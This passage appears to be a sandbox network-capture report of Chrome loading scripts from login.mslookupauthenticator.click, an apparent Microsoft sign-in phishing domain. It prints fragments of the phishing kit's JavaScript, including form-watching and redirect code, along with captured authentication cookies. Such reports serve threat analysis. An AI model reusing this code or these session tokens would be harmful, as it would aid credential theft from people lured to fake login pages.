2024-12-10 14:09:55 UTC	16383	IN	Data Raw: 2c 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 Data Ascii: ,o:function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("ig
2024-12-10 14:09:55 UTC	16383	IN	Data Raw: 2b 53 2e 6d 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 68 72 6f 77 20 63 2e 6d 65 73 73 61 67 65 3d 22 55 6e 61 62 6c 65 20 74 6f 20 70 61 72 73 65 20 62 69 6e 64 69 6e 67 73 2e 5c 6e 42 69 6e 64 69 6e 67 73 20 76 61 6c 75 65 3a 20 22 2b 65 2b 22 5c 6e 4d 65 73 73 61 67 65 3a 20 22 2b 63 2e 6d 65 73 73 61 67 65 2c 63 7d 7d 7d 29 2c 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 53 2e 67 61 2c 53 2e 62 28 22 62 69 6e 64 69 6e 67 50 72 6f 76 69 64 65 72 22 2c 53 2e 67 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e Data Ascii: +S.m.vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){throw c.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+c.message,c}}}),S.ga.instance=new S.ga,S.b("bindingProvider",S.ga),function(){function
2024-12-10 14:09:55 UTC	16383	IN	Data Raw: 55 6e 73 65 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 29 2c 53 2e 77 2e 4d 29 3a 30 3c 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 26 26 70 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 2e 6f 70 74 69 6f 6e 73 5b 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 29 29 2c 63 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 5b 63 5d 29 2c 66 3d 53 2e 61 2e 6a 62 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 7c 7c 65 3d 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 65 Data Ascii: Unset")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(),S.w.M):0<=e.selectedIndex&&p.push(S.w.M(e.options[e.selectedIndex]))),c&&("undefined"==typeof c.length&&(c=[c]),f=S.a.jb(c,(function(e){return d\|\|e===a\|\|null===e
2024-12-10 14:09:55 UTC	16383	IN	Data Raw: 65 74 75 72 6e 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 68 7d 7d 22 29 2c 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 2c 69 29 29 2c 74 3d 5b 6e 2e 24 64 61 74 61 5d 2c 6e 3d 6c 2e 65 78 74 65 6e 64 28 7b 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 3a 6e 7d 2c 72 2e 74 65 6d 70 6c 61 74 65 4f 70 74 69 6f 6e 73 29 2c 28 6e 3d 6c 2e 74 6d 70 6c 28 69 2c 74 2c 6e 29 29 2e 61 70 70 65 6e 64 54 6f 28 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6c 2e 66 72 61 67 6d 65 6e 74 73 3d 7b 7d 2c 6e 7d 2c Data Ascii: eturn i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_with}}"),t.data("precompiled",i)),t=[n.$data],n=l.extend({koBindingContext:n},r.templateOptions),(n=l.tmpl(i,t,n)).appendTo(o.createElement("div")),l.fragments={},n},
2024-12-10 14:09:55 UTC	11302	IN	Data Raw: 2c 67 3d 65 2e 6e 6f 74 69 66 79 4f 6e 43 6c 69 65 6e 74 41 62 6f 72 74 7c 7c 21 31 2c 6d 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 53 61 73 45 6e 64 41 75 74 68 50 6f 73 74 54 6f 47 65 74 53 77 69 74 63 68 2c 76 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 46 69 78 55 49 43 72 61 73 68 46 6f 72 41 70 69 52 65 71 75 65 73 74 48 61 6e 64 6c 65 72 3b 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 76 61 72 20 74 3d 7b 68 70 67 69 64 3a 64 2e 68 70 67 69 64 7c 7c 30 2c 68 70 67 61 63 74 3a 64 2e 68 70 67 61 63 74 7c 7c 30 7d 3b 72 65 74 75 72 6e 20 65 7c 7c 28 74 2e 41 63 63 65 70 74 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 6e 26 26 64 2e 61 70 69 43 61 6e 61 72 79 26 26 28 74 2e 63 61 6e 61 72 79 3d 64 2e 61 70 69 43 61 6e 61 72 79 29 29 2c Data Ascii: ,g=e.notifyOnClientAbort\|\|!1,m=l.ServerData.fSasEndAuthPostToGetSwitch,v=l.ServerData.fFixUICrashForApiRequestHandler;function b(e){var t={hpgid:d.hpgid\|\|0,hpgact:d.hpgact\|\|0};return e\|\|(t.Accept="application/json",n&&d.apiCanary&&(t.canary=d.apiCanary)),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49805	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:55 UTC	2549	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6/21e9b8317fa1a3d5bd9930a886e47543e758b850f0b6f5b325717f87114218b0.js HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3 [TRUNCATED]
2024-12-10 14:09:56 UTC	17	IN	HTTP/1.1 200 OK
2024-12-10 14:09:56 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:56 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:56 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-12-10 14:09:56 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:09:56 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:56 UTC	5	IN	Data Raw: 62 64 38 0d 0a Data Ascii: bd8
2024-12-10 14:09:56 UTC	3032	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 6c 65 74 20 66 6f 72 6d 47 72 6f 75 70 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 65 6d 61 69 6c 50 72 65 46 69 6c 6c 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 77 69 6e 42 75 74 74 6f 6e 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 0a 20 20 2f 2f 20 43 72 65 61 74 65 20 61 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 20 74 6f 20 77 61 74 63 68 20 66 6f 72 20 63 68 61 6e 67 65 73 20 69 6e 20 74 68 65 20 44 4f 4d 0a 20 20 63 6f 6e 73 74 20 6f 62 73 65 72 76 65 72 20 3d 20 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 6d 75 74 61 74 Data Ascii: window.addEventListener('load', function() { let formGroupLoaded = false; let emailPreFilled = false; let winButtonLoaded = false; // Create a MutationObserver to watch for changes in the DOM const observer = new MutationObserver(function(mutat
2024-12-10 14:09:56 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:56 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:09:56 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49804	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:55 UTC	2484	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6.js HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3 [TRUNCATED]
2024-12-10 14:09:56 UTC	17	IN	HTTP/1.1 200 OK
2024-12-10 14:09:56 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:56 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:56 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-12-10 14:09:56 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:09:56 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:56 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2024-12-10 14:09:56 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2024-12-10 14:09:56 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:56 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:09:56 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49808	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:57 UTC	1547	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6/21e9b8317fa1a3d5bd9930a886e47543e758b850f0b6f5b325717f87114218b0.js HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3 [TRUNCATED]
2024-12-10 14:09:57 UTC	17	IN	HTTP/1.1 200 OK
2024-12-10 14:09:57 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:57 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:57 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-12-10 14:09:57 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:09:57 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:57 UTC	5	IN	Data Raw: 62 64 38 0d 0a Data Ascii: bd8
2024-12-10 14:09:57 UTC	3032	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 6c 65 74 20 66 6f 72 6d 47 72 6f 75 70 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 65 6d 61 69 6c 50 72 65 46 69 6c 6c 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 77 69 6e 42 75 74 74 6f 6e 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 0a 20 20 2f 2f 20 43 72 65 61 74 65 20 61 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 20 74 6f 20 77 61 74 63 68 20 66 6f 72 20 63 68 61 6e 67 65 73 20 69 6e 20 74 68 65 20 44 4f 4d 0a 20 20 63 6f 6e 73 74 20 6f 62 73 65 72 76 65 72 20 3d 20 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 6d 75 74 61 74 Data Ascii: window.addEventListener('load', function() { let formGroupLoaded = false; let emailPreFilled = false; let winButtonLoaded = false; // Create a MutationObserver to watch for changes in the DOM const observer = new MutationObserver(function(mutat
2024-12-10 14:09:57 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:57 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:09:57 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49809	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:57 UTC	1482	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6.js HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3 [TRUNCATED]
